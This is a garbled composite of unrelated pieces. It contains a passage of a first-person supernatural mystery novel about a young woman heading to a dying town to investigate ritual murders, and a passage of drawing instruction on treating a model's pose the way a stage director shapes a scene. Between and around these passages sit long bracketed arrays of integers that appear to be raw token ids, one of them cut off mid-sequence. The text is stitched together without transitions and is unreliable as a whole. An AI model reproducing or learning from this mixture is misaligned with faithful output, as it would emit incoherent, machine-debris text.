9076, 309 ]	, but double-checking is standard procedure around here, where we have to deal with everything from unstable clients to Cabal assassins. So I checked the photo. There was no question that the guy I'd talked to was Jesse Aanes. Next I looked up the murders on the Internet and downloaded everything I could find, which wasn't much. Ditto for the victims. I got a few hits on the latest one—Claire Kennedy—but nothing on the first two, Ginny Thompson and Brandi Degas. Yep, Gin and Brandi. Call me crazy, but naming your daughters after alcoholic beverages is just asking for trouble. Next I worked on identifying the ritual. I'd just finished plugging in ideas for the silver object in Claire's hand—coin, amulet, key—when I glanced at the clock. It was almost eleven. If I planned to get to Columbus today, I had to get going. I grabbed my helmet from the back room and wheeled my bike into the alley. Not a bicycle, a motorcycle. I might live in the green belt, but I'd never quite embraced the lifestyle. I drove a 1950 Triumph Thunderbird that Lucas and I had restored together. It was a sweet ride, and a lot more fuel-efficient than a car, so I could feel virtuous without sacrificing the cool factor. I zipped home, then called Adam. No answer. That was fine—I wasn't calling to get his approval, just to let him know. Adam wouldn't stop me anyway. He was my biggest supporter when I argued for getting out in the field more. Paige had baked me cookies before she left, and I was filling a box to take when my cell rang. The Doors' "Light My Fire." Adam's picture popped up, a god-awful one of him snapped before his first coffee on a ski trip last winter. I'd been in love with Adam since I was twelve. I'd grown up secure in the knowledge that while other girls dreamed about their ideal partner, I'd already found mine. I just needed to wait until I was old enough for him to realize I wasn't just his friends' ward; I was his soul mate. Sixteen sounded about right. By the time I actually reached sixteen, though, I realized it was way too young. No decent twenty-seven-year-old should be interested in a kid that age. Eighteen then. When eighteen passed, I told myself the gap was still too wide. Twenty? Nope. Twenty-one. It had to be twenty-one. We went out for my twenty-first birthday, just the two of us. That wasn't a sign of anything—we've always been good friends. When he asked where I wanted to go, I said the most expensive place in town, just to give him a hard time. Then I bought a knockout dress, got my hair done, even had a manicure. That night Adam would finally realize the smart-ass, irresponsible Savannah was gone for good. I was a woman now. If he did notice, it didn't seem to make any difference. I _wasn't_ his friends' ward anymore. I was his coworker and pal and that was all I was ever going to be. Take it or leave it. I'd decided to take it. That didn't mean, though, that my heart didn't flutter every time I heard his ring tone. "Let me guess," he said when I answered. "You're bored and lonely already." "Nope. Got a triple homicide with possible ritualistic overtones already." I gave him a quick rundown. "Jesse's a good guy," he said when I finished. "You could use the experience. As the senior employee in Paige and Lucas's absence, I'm making an executive decision." "You like that, don't you?" "Anything that gives me the upper hand. I promise not to lord it over you when I get there, though." "You're at a conference. As boring as it might be, you're stuck." "There are just a couple more seminars I want to sit in on, so I'll leave early and come give you a hand. Jesse's fine, but better to work with someone you know, right? We make a good team." True. But as much as I loved working with Adam, I really wanted this to be my first solo case. As solo as I could make it, anyway. So I said we'd discuss it later. He was fine with that. "Now, you're going to stay in Columbus, right? Not commute back and forth." "It's only an hour drive. I have to come back or Paige and Lucas will know something's up." "I'll say I sent you out to do legwork for me." "But the office—" "—will run just fine without you. Yes, I know you'd rather come home every night, but if you really want field experience, you need to get out in the field and stay there. It's a small town. You have to meld in, become part of the community. It'll be good for you, getting out, mingling, trying to fit in..." Mingling with _humans._ Trying to fit into _human_ society. That's what he meant. Damn. I reluctantly agreed. He made me promise to call him with an update tomorrow. three I took the back roads to Columbus. Highways and motorcycles don't mix. Neither do motorcycles and the Pacific Northwest. Like Lucas, though, I refuse to yield to the climate. I ride when I can, and have a rainsuit in my saddlebags. I could have taken Paige's Prius, but the forecast was clear for the next week. So I was zooming along, enjoying the ride, when I passed a service station warning "last gas for ten miles," which seemed odd, considering Columbus was only a few miles away. Still, I had under half a tank, so I stopped. As I filled up, a couple of truckers stood outside a rig, the younger one checking me out, the older one checking out my ride. "Marlon Brando," the older guy said, nodding at my ride. "That's the bike he had in _The Wild Ones._ " The younger guy's gaze slithered over me. "So are you a wild one, hon?" The older one shut him up with a glare, then turned to me. "Where you heading? There isn't much around out here." I doubted these guys were from Columbus, but if they were on this back road, they were probably familiar with the area. Channeling Paige, I pasted on a big, friendly smile. "Columbus." "Why?" the younger guy said. "Nothing there for a girl like you." "And not the safest place either," the older one said. "They've had themselves a few murders in the past year. Young women." This was easier than I thought. I only had to say, "Seriously?" and I got all the details. They didn't tell me anything I didn't read in Jesse's reports, though. Not until they'd finished, and the older man said, "If you ask me, there's something hinky going on in that town." "Hinky?" "Buddy of mine stopped there last fall, making a delivery. Went in the wrong building and found one of them satanic rituals." "In progress?" "Nah, from the night before, he figured. But it was all there. Pentacles. Black candles. Dead cat. He tore out of there like the devil himself was after him. Won't stop in that town ever again." SATANIC RITUALS. I'D be a lot more excited about that if the ritualistic signs left near those bodies suggested anything like a black mass. Still, it was a start—a hint that something supernatural might be going on in Columbus. Which was good, because from the look of the place, I'd never have guessed it. The articles on the murders had given me a good image of Columbus. Your typical small town struggling to survive, the kids shipping out to Seattle or Portland as soon as they could. There would be a subdivision for commuters, but mostly you'd see streets of small postwar homes fronted by tidy postage-stamp lawns. The downtown would be a patchwork of basic-service businesses that had been there for three generations. As I drove into town, though, I joined every local kid in chomping at the bit to be someplace else, anyplace else. Ghost town was too fanciful a term for Columbus, conjuring up visions of porch swings creaking in the breeze and tattered vintage Coke signs flapping. This place was a zombie, rotting before my eyes, dead but still somehow functioning. The population sign looked as if it had recently been reduced from four digits to three, even that estimate bearing an air of desperate optimism. I drove past three businesses on the outskirts of town—a boarded-up bowling alley, a used-car lot with three mud-mired clunkers, and a darkened gas station. The residential streets came next, if one can still call them that when there's little sign of actual residents. Maybe a quarter of the lots bore the kind of tidy postwar homes I
[ 3637, 253, 4948, 347, 604, 281, 18387, 731, 15, 3856, 310, 253, 5068, 273, 10263, 15, 187, 187, 1992, 479, 840, 13, 10263, 310, 247, 1039, 273, 3811, 247, 1039, 2584, 1495, 434, 2120, 1255, 15, 733, 310, 417, 816, 247, 5853, 285, 5604, 417, 11019, 10861, 15, 733, 310, 247, 2264, 2380, 15, 2091, 309, 923, 247, 2181, 619, 806, 8327, 310, 417, 281, 7081, 752, 309, 923, 13, 390, 281, 6008, 352, 13, 281, 4489, 352, 13, 281, 1416, 13, 281, 30215, 13, 390, 281, 1818, 352, 15, 2752, 806, 8327, 310, 281, 3812, 352, 15, 187, 187, 41526, 637, 13, 5054, 637, 13, 9493, 637, 13, 778, 973, 452, 20334, 323, 436, 8505, 2288, 6134, 2380, 281, 1495, 15, 1916, 479, 10263, 13, 751, 16115, 390, 18792, 13, 310, 271, 2425, 326, 20220, 26361, 479, 432, 2892, 15, 8948, 352, 21427, 1727, 352, 15, 187, 187, 29449, 13, 1223, 5686, 432, 11891, 13, 5644, 281, 271, 1014, 3687, 11891, 534, 8687, 479, 9106, 13, 2568, 22435, 1365, 342, 512, 326, 11999, 1078, 619, 5130, 27, 342, 14700, 285, 1966, 9365, 13, 2846, 10198, 285, 1547, 1559, 383, 41723, 13, 30790, 8248, 13, 285, 253, 759, 4482, 868, 285, 24383, 273, 253, 396, 1225, 410, 15, 187, 187, 1276, 3053, 347, 247, 1984, 670, 10263, 3395, 247, 1984, 670, 6523, 285, 7613, 670, 1146, 1966, 314, 6600, 285, 9338, 15, 187, 187, 2222, 40392, 485, 253, 9966, 187, 187, 1147, 7729, 281, 1007, 323, 253, 12002, 18701, 273, 247, 16753, 15, 496, 247, 1524, 3282, 326, 310, 752, 368, 513, 672, 368, 1113, 280, 1177, 1633, 15, 1916, 12002, 2097, 281, 346, 21528, 562, 3664, 326, 310, 13, 346, 16806, 366, 390, 20843, 449, 2091, 10263, 247, 21850, 13, 5913, 352, 6569, 281, 18047, 13, 368, 452, 281, 13, 987, 432, 253, 5068, 13, 7617, 752, 352, 310, 326, 368, 403, 1469, 281, 1333, 670, 352, 313, 249, 634, 10263, 481, 2091, 10263, 432, 247, 1566, 13, 323, 4227, 13, 368, 1364, 346, 18762, 366, 3, 253, 1774, 2181, 368, 878, 432, 253, 16753, 13, 749, 18936, 839, 512, 2010, 281, 253, 2554, 273, 1329, 2285, 15, 26659, 4834, 13, 1905, 1805, 2568, 13, 795, 38878, 4834, 64, 1905, 752, 310, 1469, 327, 627, 13, 752, 310, 253, 2926, 3212, 253, 16753, 32, 1422, 452, 281, 4858, 390, 20843, 816, 253, 12232, 2181, 326, 3198, 281, 320, 2183, 15, 1680, 25839, 352, 594, 368, 476, 1805, 18047, 352, 281, 634, 8446, 15, 187, 187, 3, 1147, 13, 352, 13, 352, 15, 1737, 310, 436, 795, 262, 64, 368, 1978, 5015, 670, 865, 368, 1642, 15, 187, 187, 3, 1147, 3, 310, 3365, 752, 368, 651, 795, 19506, 64, 604, 368, 497, 12930, 253, 2250, 390, 16753, 281, 3095, 275, 3000, 15, 346, 1328, 310, 23767, 689, 2819, 387, 1633, 449, 346, 1328, 310, 25661, 327, 1633, 449, 346, 1328, 310, 7063, 13, 25661, 896, 327, 521, 987, 4430, 937, 3966, 15, 187, 187, 42, 21758, 275, 247, 1708, 24342, 1387, 323, 3578, 1107, 13, 1907, 253, 15863, 273, 16115, 2067, 1421, 3578, 263, 9503, 15, 733, 369, 271, 5130, 37835, 7487, 253, 6423, 789, 342, 247, 1387, 273, 717, 43643, 15, 754, 574, 281, 320, 1077, 10799, 275, 521, 3884, 323, 627, 3589, 626, 673, 281, 9798, 4130, 849, 281, 769, 15, 3032, 2746, 369, 1199, 253, 1072, 347, 271, 3865, 1080, 434, 2746, 281, 247, 6200, 273, 16904, 15, 2064, 310, 13, 1978, 352, 2969, 13, 1691, 689, 581, 2934, 387, 247, 673, 13, 285, 1132, 352, 594, 253, 8446, 476, 923, 352, 4518, 15, 309, 5730, 512, 273, 368, 812, 8041, 690, 3924, 1132, 33558, 932, 281, 3698, 253, 6423, 789, 13, 923, 849, 344, 278, 3502, 512, 253, 3603, 273, 247, 1132, 281, 2118, 2112, 440, 2083, 19839, 407, 940, 25031, 35820, 571, 15, 187, 187, 46545, 595, 368, 13, 253, 9558, 13, 403, 253, 6423, 273, 1016, 10263, 368, 1056, 15, 329, 3924, 6423, 1057, 417, 2028, 253, 12353, 849, 281, 769, 15, 754, 29426, 253, 12353, 281, 897, 35324, 285, 11438, 326, 4459, 253, 2926, 3579, 275, 247, 33842, 13, 21414, 13, 2590, 13, 285, 6283, 17194, 5133, 15, 187, 187, 2042, 368, 651, 5283, 253, 2554, 273, 6423, 347, 368, 3812, 13, 368, 1537, 320, 1679, 21802, 281, 16359, 323, 313, 12557, 10, 752, 253, 1566, 556, 3559, 281, 368, 15, 1422, 651, 1333, 281, 4834, 13, 8288, 281, 634, 10263, 13, 984, 634, 10263, 310, 253, 12353, 326, 310, 1469, 281, 1347, 323, 253, 8446, 13, 346, 1552, 310, 752, 368, 403, 2820, 281, 1691, 689, 13, 594, 897, 5913, 7741, 16858, 368, 476, 7862, 459, 598, 13, 281, 513, 352, 15, 1310, 368, 878, 2801, 13, 1060, 13, 309, 588, 1918, 368, 2801, 15, 3166, 368, 878, 625, 13726, 32, 3856, 13, 407, 305, 10378, 13, 310, 690, 13726, 15, 3166, 368, 878, 690, 38785, 984, 273, 752, 368, 403, 2509, 13, 8261, 13, 368, 1694, 352, 449, 187, 187, 44824, 1225, 285, 13726, 285, 2801, 403, 1841, 326, 368, 1053, 626, 1089, 275, 30559, 5098, 13, 533, 403, 12002, 18701, 326, 3324, 21780, 281, 1495, 15, 1310, 253, 9558, 2506, 626, 2118, 275, 285, 1379, 689, 253, 2554, 273, 6423, 13, 253, 21780, 778, 7257, 616, 16226, 275, 271, 27736, 14, 3022, 5133, 15, 187, 187, 42, 9809, 247, 1643, 273, 619, 10618, 21780, 313, 16245, 10, 281, 1361, 1691, 841, 5697, 689, 15, 13168, 253, 346, 19192, 3, 347, 253, 1566, 10262, 352, 310, 417, 1512, 2590, 13, 285, 1364, 15080, 253, 6423, 434, 5181, 15, 831, 369, 253, 1083, 275, 841, 21780, 15, 309, 1158, 20577, 310, 247, 1270, 1566, 13, 17837, 13, 521, 24543, 403, 347, 342, 512, 3210, 13, 760, 253, 26223, 273, 247, 41651, 10263, 15, 844, 253, 6423, 16, 435, 382, 452, 281, 1379, 253, 3924, 285, 294, 14, 78, 744, 253, 16753, 281, 1056, 2119, 352, 556, 512, 253, 3309, 3603, 281, 1691, 2439, 253, 346, 19192, 449, 187, 187, 42, 26012, 323, 253, 24585, 22909, 15, 733, 3936, 1142, 3000, 281, 5513, 512, 436, 13, 533, 347, 368, 665, 452, 9047, 479, 1056, 841, 3451, 422, 46159, 871, 13, 597, 1379, 247, 2647, 273, 7253, 313, 16829, 672, 309, 1978, 327, 513, 351, 1981, 1048, 846, 309, 1849, 12800, 253, 1127, 481, 1583, 588, 1379, 795, 5658, 64, 247, 2647, 273, 7253, 671, 672, 368, 1379, 689, 253, 1480, 15306, 273, 634, 21780, 15, 187, 187, 1466, 434, 1448, 306, 987, 715, 253, 806, 10263, 313, 19192, 27, 637, 25661, 327, 298, 593, 481, 754, 1912, 626, 1007, 751, 344, 310, 25661, 327, 1633, 604, 344, 310, 6306, 4951, 598, 285, 1066, 15, 2596, 1039, 281, 14294, 247, 9644, 310, 281, 19031, 253, 29434, 896, 594, 253, 5170, 2133, 310, 275, 247, 3282, 14203, 275, 2317, 342, 1652, 390, 642, 2133, 1329, 13, 3021, 253, 12591, 8423, 3936, 327, 253, 1159, 273, 1329, 15, 4965, 1981, 253, 9246, 715, 247, 29740, 5281, 16965, 253, 5130, 19123, 13, 8479, 253, 29434, 281, 2118, 19265, 285, 19123, 15, 308, 300, 1076, 253, 1481, 281, 253, 1669, 13, 1977, 432, 253, 12591, 13, 4948, 247, 19037, 751, 271, 14150, 1127, 13, 534, 7729, 281, 3490, 253, 5170, 2133, 21169, 15, 20672, 272, 253, 13574, 5997, 253, 46387, 281, 3785, 21169, 13, 534, 2789, 253, 3564, 2489, 253, 1329, 323, 512, 326, 2801, 285, 21169, 19031, 15, 187, 187, 688, 253, 1273, 10263, 13, 313, 19192, 27, 637, 7063, 13, 25661, 327, 521, 987, 1133, 582, 281, 755, 625, 2801, 327, 326, 1133, 13, 344, 1364, 9644, 896, 21816, 15, 329, 1175, 2590, 6907, 387, 253, 269, 10059, 285, 247, 4951, 1386, 387, 521, 5004, 7729, 281, 1691, 625, 2801, 327, 521, 269, 10059, 15, 329, 3790, 763, 1386, 476, 320, 1512, 23470, 14, 3022, 15, 46769, 253, 2406, 2716, 273, 521, 2133, 835, 352, 310, 13, 285, 23148, 253, 1755, 629, 896, 281, 253, 1669, 13, 4483, 253, 23828, 281, 320, 346, 35293, 598, 449, 4965, 1981, 253, 987, 1791, 2584, 441, 247, 1652, 35580, 247, 5471, 326, 3253, 310, 8392, 275, 6222, 13, 285, 23970, 247, 5471, 273, 2626, 7877, 15, 1219, 22993, 253, 14636, 273, 253, 9246, 5239, 598, 247, 5322, 12415, 1905, 368, 476, 2761, 1928, 253, 1669, 1791, 2118, 27162, 15, 187, 187, 42, 1160, 247, 4564, 273, 4465, 46159, 281, 5513, 253, 1791, 6907, 2181, 13, 285, 281, 921, 253, 3064, 604, 253, 14636, 574, 4783, 253, 643, 1039, 15, 1310, 627, 403, 767, 7529, 3104, 187, 187, 9328, 403, 4228, 15, 1292, 604, 581, 273, 253, 3104, 310, 2897, 1070, 187, 187, 262, 5239, 598, 247, 4866, 1905, 281, 253, 1669, 275, 436, 4227, 15, 2091, 309, 2897, 1070, 253, 2406, 9246, 347, 309, 858, 13, 352, 873, 598, 247, 4866, 275, 253, 3884, 273, 253, 9644, 273, 253, 2133, 13, 5457, 5411, 352, 313, 4032, 12655, 2554, 481, 187, 187, 510, 1735, 23211, 14636, 436, 1039, 13, 187, 187, 4609, 5997, 247, 2118, 281, 253, 987, 15, 2064, 434, 752, 253, 1566, 651, 513, 604, 344, 497, 1469, 281, 4951, 257, 598, 15, 187, 187, 8195, 16753, 369, 271, 6860, 1007, 387, 1633, 1146, 2918, 275, 253, 3564, 15, 329, 1175, 6423, 651, 1620, 1581, 253, 346, 19192, 3, 281, 320, 8763, 432, 253, 8446, 15, 754, 651, 2028, 253, 12353, 281, 294, 14, 13311, 352, 594, 4130, 651, 871, 752, 369, 3192, 1659, 15, 1893, 309, 1694, 521, 987, 9215, 562, 273, 253, 1039, 13, 281, 2590, 247, 1854, 323, 521, 1007, 281, 4288, 275, 15, 309, 16535, 779, 689, 13, 12934, 5411, 521, 1600, 275, 752, 344, 369, 2819, 387, 15, 309, 7320, 521, 269, 10059, 896, 281, 253, 1669, 6941, 253, 1669, 1791, 281, 13726, 562, 13, 8479, 253, 2812, 1080, 434, 5130, 281, 24516, 987, 598, 281, 253, 4055, 273, 1600, 15, 187, 187, 688, 253, 1390, 10263, 627, 310, 247, 2900, 281, 247, 1895, 247, 2257, 273, 368, 11372, 672, 8577, 253, 1566, 715, 581, 273, 253, 269, 2569, 5810, 275, 253, 346, 46, 693, 13774, 449, 831, 16753, 369, 581, 273, 1142, 835, 247, 795, 6204, 64, 369, 253, 2926, 15, 42473, 247, 7863, 2133, 6107, 598, 253, 1007, 275, 253, 5974, 434, 10263, 15, 24697, 13, 253, 12002, 273, 253, 16753, 369, 1633, 751, 436, 1905, 342, 1007, 275, 253, 2590, 27, 187, 187, 3404, 667, 2281, 13, 581, 2900, 281, 253, 1895, 310, 281, 3365, 755, 253, 9215, 562, 273, 253, 1039, 285, 2199, 253, 1481, 3579, 247, 1652, 625, 15, 309, 26553, 253, 3309, 10713, 407, 1547, 14650, 598, 521, 896, 285, 15773, 253, 23828, 247, 1652, 625, 15, 380, 5130, 310, 417, 253, 18337, 3957, 2181, 387, 253, 5024, 273, 253, 830, 13, 533, 387, 1878, 352, 310, 275, 253, 2590, 15, 5838, 849, 253, 6907, 273, 253, 5654, 285, 253, 1547, 9357, 896, 1361, 281, 2199, 253, 1007, 3579, 15, 187, 187, 21956, 17970, 778, 1089, 1027, 4088, 273, 8133, 689, 247, 2926, 1127, 15, 1707, 310, 642, 581, 346, 918, 3, 1039, 1905, 760, 13760, 13, 21541, 285, 21414, 4088, 15, 6101, 16753, 476, 320, 8392, 247, 4289, 4088, 285, 512, 273, 731, 320, 987, 15, 10154, 13, 326, 310, 13, 604, 352, 5644, 253, 27025, 281, 253, 987, 6452, 13, 253, 2926, 1127, 15, 187, 187, 4041, 6423, 2444, 342, 2067, 14142, 2509, 253, 1072, 2554, 651, 452, 281, 6889, 521, 10746, 285, 5223, 731, 281, 1016, 2060, 13216, 15, 1292, 275, 1016, 1083, 521, 4736, 651, 320, 281, 26740, 253, 8446, 275, 253, 3884, 273, 253, 2926, 15, 22300, 275, 10263, 15, 12979, 6933, 10846, 778, 320, 10263, 253, 1072, 16753, 13, 594, 627, 651, 2779, 320, 15342, 9508, 273, 253, 16753, 15, 1723, 13, 1016, 2715, 1364, 3831, 326, 581, 1199, 3058, 1846, 2803, 1905, 5511, 1905, 253, 5511, 273, 253, 2926, 2934, 15, 187, 187, 2598, 347, 368, 3812, 13, 5467, 253, 2554, 273, 6423, 15, 5402, 21780, 403, 253, 14142, 665, 403, 12440, 285, 665, 403, 44952, 13, 7378, 13, 20876, 13, 5223, 494, 13, 285, 1014, 749, 35407, 281, 634, 15040, 347, 247, 6423, 15, 1422, 403, 253, 581, 665, 12957, 253, 2032, 4495, 273, 1016, 2250, 390, 16753, 15, 12414, 634, 3361, 285, 634, 2714, 10861, 13, 253, 10263, 812, 1077, 4354, 990, 598, 816, 1529, 10263 ]	follows the forms as if to encompass them. Here is the beginning of drawing. To me then, drawing is a way of living a way toward life's fullness. It is not just a technique and certainly not mere skill. It is a total response. When I see a thing my first desire is not to possess what I see, or to eat it, to buy it, to name, to classify, or to change it. My first desire is to draw it. Political man, economic man, historical man, may well have contempt for this apparently senseless response to life. To me drawing, like singing or dancing, is an activity that temporarily delivers me from history. Maybe it transcends it. Drawing, while born from awareness, leads to an even greater awareness which involves me totally, yet impartially with all that passes before my eye: with mountains and human faces, city streets and humblest weeds, nude bodies, and the pebbles and shells of the seashore. What started as a book about drawing became a book about seeing and hence about being humanly aware and alive. 95 Become the Director It helps to look for the abstract qualities of a pose. In a real sense that is what you do when you caricature something. To abstract means to "take out"; that is, "separate or isolate." When drawing a gesture, whatever it happens to portray, you have to, right from the beginning, decide what it is that you are going to say about it (in your drawing). When drawing from a model, for instance, you must "isolate" the important thing you need from the pose, subjugating all else to the role of support team. Ask yourself, — better yet, _tell yourself_ — what is going on there, what is the story behind the pose? You have to separate or isolate just the vital thing that needs to be told. Isolate it so you can better portray it to your audience. "It, it, it. What is this _it_ you keep talking about?" you ask. "It" is simply what you would _say_ if you were describing the action or pose to someone in words. "He is bending over looking at something." "He is leaning on something." "He is sitting, leaning back on his right arm," etc. I sang in a light opera group for ten years, having the privilege of singing several lead tenor roles. It was an eye opener watching the director work with a group of amateurs. He had to be very precise in his direction for there wasn't time to teach everyone how to act. His approach was much the same as an animator's approach to a scene of animation. That is, keep it simple, put over one idea at a time, and play it so the audience can see it clearly. I wish all of you could attend some stage play rehearsals to watch the director work, see how he molds all the elements of a play to move along unencumbered by distracting trivia. Literally you, the artist, are the director of each drawing you make. A stage director does not tell the actor how to act. He encourages the actor to use gestures and movements that carry the story forward in a sincere, convincing, clear, and properly motivated manner. If you would adopt the role of director as you draw, you might be less inclined to settle for (copy) what the model has presented to you. You would say to yourself, speaking to your drawing, because your drawing is the actor that is going to perform for the audience, "This is what you are trying to put over, so use whatever resourcefulness you can conjure up, to do it. If you need weight, here, I will give you weight. Do you need more stretch? Here, by golly, is some stretch. Do you need some squash because of what you are doing, okay, you got it." Squash and stretch and weight are things that you don't find in anatomy books, but are abstract qualities that bring drawings to life. If the artist doesn't move in and take over the role of director, the drawings may deliver their performances in an amateur-like manner. I saved a few of my correction drawings (again) to help put these ideas over. Sometimes the "story" as the model presents it is not too clear, and must undergo the director's touch. This was the case in these drawings. I think Craig is a great model, nevertheless, his poses are as with all models, only the embryo of a storytelling drawing. We the director/artist have to take the stage and re-mold the pose to make sure it has all the necessary elements to put across the "story." I apologize for the lengthy explanations. It takes many words to explain all this, but as you who have watched me make these corrective sketches know, they take a matter of seconds (except when I keep on doodling long after I've illustrated the point). They will take _you_ a matter of seconds also when you take over the directorship of your drawings. Let's delve right into the first drawing (story: man leaning on lance). He won't look like he is leaning on something if he is standing straight up and down. One way to accomplish a lean is to thrust the hips back so the upper body is in a sense hanging in space with little or no body support, thus the rod suddenly takes on the function of support. Angling the legs into a triangular shape sends the eye upward, causing the hips to move backward and upward. Tilting the head to the left, away from the rod, forms a triangle like an arrow point, which helps to force the upper body downward. Lowering the shoulders causes the elbows to pull downward, which makes the hands become the support for all that weight and downward thrust. In the second drawing, (story: man sitting, leaning on his right hand), to get more weight on that hand, he must lean back farther. A good clear angle at the fanny and a straight line at his bottom helps to put more weight on his fanny. A roundish line can be too balloon-like. Keeping the lower half of his body where it is, and stretching the top part back to the left, allows the belly to be "played up." Angling the right leg toward us a little eliminates a feeling that everything is drawn in profile, and introduces a feeling of third dimension. Altering the angles of the legs sets up a nice tension — you can almost feel the left leg move inward. I made a couple of extra sketches to explain the leg angle thing, and to show the difference if the angles had gone the other way. If there are two parallel lines they are static. But if one of the lines is angled it sets up a movement — to the left in this instance. When I angled the lower legs as I did, it set up a movement in the direction of the lean of the body, amplifying it (supporting role). The next sketch angles this way, which causes a move to the right. That's what the model would do if he were going to straighten up. Another pose was an intent look at something being held in the hands. A good director would never allow the "story" to be hidden from the audience. He would tell the actor to re-stage it so everyone would know what was taking place. So I got his right shoulder out of the way, to clear a path for his look to travel in. I bent him over, intensifying his interest in what he was looking at. I pulled his fanny back to the left allowing the left leg to stretch out, causing the spectator's eye to sweep right up to the center of interest. In the last drawing there is a solution to a problem a lot of you faced when turning the model into one of the fatter characters in the "Mermaid." This pose was one of many where a _look_ was the story. Creating a massive body covered up the look in the student's drawing. Actually, the abstract of the pose was something like this — with look in the clear: At any rate, one solution to the problem is to simply get the shoulder out of the way and project the head forward a little more. I attained the necessary bulk by humping up his back and featuring the belly a little more. The eye is not the farthest thing at the edge of the form, but at least it is in the clear. Note how the angle of the gun and the humped back help to project the look forward. Different directors may find different ways of putting over a story point. There is no one "right" way — only logical, plausible and convincing ways. Any pose can be drawn a hundred ways and all of them be right. Right, that is, if it leads the viewer to the right conclusion, the story point. One director working with several actors doing the same role would have to vary his directions and adapt them to each individual personality. But in each case his goal would be to sway the audience in the direction of the story. Likewise in drawing. Fifteen artists may be drawing the same pose, so there would likely be fifteen versions of the pose. However, each version must contain that one much needed common factor — communication — the communication of the story idea. So as you draw, assume the role of director. Your drawings are the actors who are professionals and who are receptive, willing, responsive, adaptable, and even submissive to your expertise as a director. You are the one who reveals the true meaning of each action or pose. Without your presence and your special skill, the drawing could very easily end up just another drawing
[ 7379, 6989, 27193, 21972, 475, 42942, 21972, 28, 1380, 1214, 49331, 3281, 19313, 21972, 30, 64, 42942, 21972, 28, 187, 14, 313, 4353, 10, 4537, 27193, 21972, 10477, 301, 10, 1662, 18, 858, 40330, 27193, 9604, 10477, 301, 10, 1662, 19, 342, 49767, 9294, 10477, 3717, 20920, 11144, 2548, 10, 1662, 20, 28, 187, 14, 313, 4353, 11824, 13161, 7474, 9604, 10477, 301, 10, 1662, 18, 281, 7474, 10477, 301, 10, 1662, 19, 275, 33731, 10477, 301, 10, 1662, 20, 342, 49767, 9294, 10477, 3717, 20920, 11144, 2548, 10, 1662, 21, 28, 187, 14, 313, 4353, 11824, 4698, 7474, 1909, 5703, 10477, 301, 10, 1662, 18, 275, 33731, 10477, 301, 10, 1662, 19, 342, 49767, 9294, 10477, 3717, 20920, 11144, 2548, 10, 1662, 20, 28, 187, 14, 313, 4353, 11824, 23320, 27193, 21972, 28, 187, 14, 313, 4353, 10, 615, 10835, 28, 187, 14, 313, 301, 10, 4478, 28, 187, 187, 605, 6235, 1776, 3607, 187, 33, 9134, 9, 48719, 13, 3491, 10, 31681, 475, 13125, 11185, 28, 187, 33, 9134, 9, 48719, 13, 3491, 10, 31681, 475, 10008, 28, 187, 33, 9134, 9, 48719, 10, 10698, 1048, 1048, 13283, 28, 187, 33, 9134, 9, 48719, 10, 6550, 2221, 2437, 28, 187, 187, 33, 423, 535, 25310, 388, 15, 1797, 746, 187, 17599, 394, 313, 6622, 428, 4059, 10, 187, 187, 1145, 3162, 4103, 281, 253, 4487, 273, 8726, 9491, 5399, 187, 187, 25310, 13927, 27, 743, 3162, 4103, 281, 253, 4487, 273, 8726, 9491, 5399, 187, 187, 3463, 2305, 15, 329, 13356, 273, 40081, 951, 13, 247, 5266, 313, 317, 32729, 728, 407, 6007, 13, 3995, 13, 1621, 15, 3127, 746, 10, 273, 18673, 500, 15, 329, 13356, 285, 7195, 367, 15, 1716, 4926, 4103, 281, 253, 14199, 273, 253, 4487, 273, 8726, 9491, 5399, 15, 5259, 18731, 285, 38394, 9044, 15, 187, 187, 3650, 22046, 667, 2714, 390, 2087, 1569, 281, 253, 10214, 13, 253, 7811, 273, 8726, 9491, 5399, 3091, 320, 9924, 273, 247, 1436, 432, 253, 16541, 5399, 13, 253, 9526, 273, 5259, 18731, 390, 521, 390, 617, 2216, 1796, 13, 247, 8612, 273, 253, 15636, 457, 84, 7454, 13, 767, 15572, 273, 253, 8726, 40839, 7115, 273, 14070, 13, 285, 767, 15572, 273, 253, 23932, 8726, 71, 15053, 273, 14070, 13, 11162, 407, 253, 15636, 323, 247, 1307, 9, 84, 10, 281, 28588, 342, 326, 273, 253, 16342, 457, 84, 39722, 5566, 1271, 15, 187, 187, 510, 1491, 6221, 275, 436, 4422, 310, 323, 2087, 1491, 6378, 760, 15, 380, 4214, 2111, 3400, 436, 1491, 347, 247, 1345, 2579, 285, 1223, 359, 38937, 281, 1978, 253, 941, 7899, 285, 1655, 281, 253, 1682, 273, 776, 3745, 13, 359, 1056, 642, 14237, 390, 7501, 447, 273, 667, 2238, 13, 3890, 390, 10466, 13, 670, 253, 29867, 13, 7200, 13, 13367, 13, 45984, 390, 11659, 342, 1675, 281, 253, 4422, 390, 253, 1491, 6221, 327, 253, 4422, 323, 667, 4096, 15, 6101, 22095, 368, 1659, 327, 824, 1491, 310, 3103, 13714, 387, 634, 1211, 2495, 15, 187, 187, 28240, 1135, 7551, 7641, 24882, 31512, 187, 187, 510, 3389, 2505, 310, 275, 271, 36542, 5981, 281, 1859, 275, 247, 9882, 15, 187, 187, 7845, 897, 253, 346, 20865, 19415, 3, 3048, 604, 368, 5730, 281, 9182, 16, 17148, 436, 3389, 15, 187, 30326, 30792, 27, 1359, 368, 368, 6016, 253, 10056, 273, 673, 32, 428, 285, 250, 261, 12847, 187, 42, 816, 25436, 326, 619, 1390, 608, 1107, 816, 18811, 1293, 4366, 15, 1359, 513, 368, 755, 253, 954, 562, 273, 634, 1897, 32, 1359, 513, 368, 8722, 281, 3468, 673, 1066, 32, 187, 4738, 187, 3487, 1200, 328, 187, 60, 3614, 1358, 257, 15, 78, 15, 25842, 15, 2061, 16, 16123, 16, 4769, 64, 69, 10108, 880, 3614, 1358, 257, 15, 78, 15, 25842, 15, 2061, 16, 16123, 16, 4769, 64, 69, 10108, 10, 535, 5072, 284, 981, 260, 300, 1514, 14, 6367, 6047, 19, 12, 5459, 275, 13637, 10919, 8198, 2955, 571, 15, 187, 510, 3625, 260, 300, 1514, 310, 247, 17872, 1963, 4415, 275, 1142, 21744, 1341, 15, 33185, 1783, 556, 4232, 253, 260, 300, 1514, 281, 320, 23033, 275, 253, 5481, 273, 8651, 285, 6938, 2544, 15, 380, 260, 300, 1514, 34472, 841, 15374, 285, 30185, 2710, 2625, 14, 3675, 10083, 9130, 1690, 26787, 273, 14036, 6047, 9, 19, 15020, 4719, 2470, 13614, 9, 19, 15020, 880, 74, 5029, 831, 8857, 8631, 3082, 273, 10499, 3625, 260, 300, 1514, 14, 6820, 544, 13614, 9, 19, 15020, 880, 74, 10, 7601, 15, 50, 27, 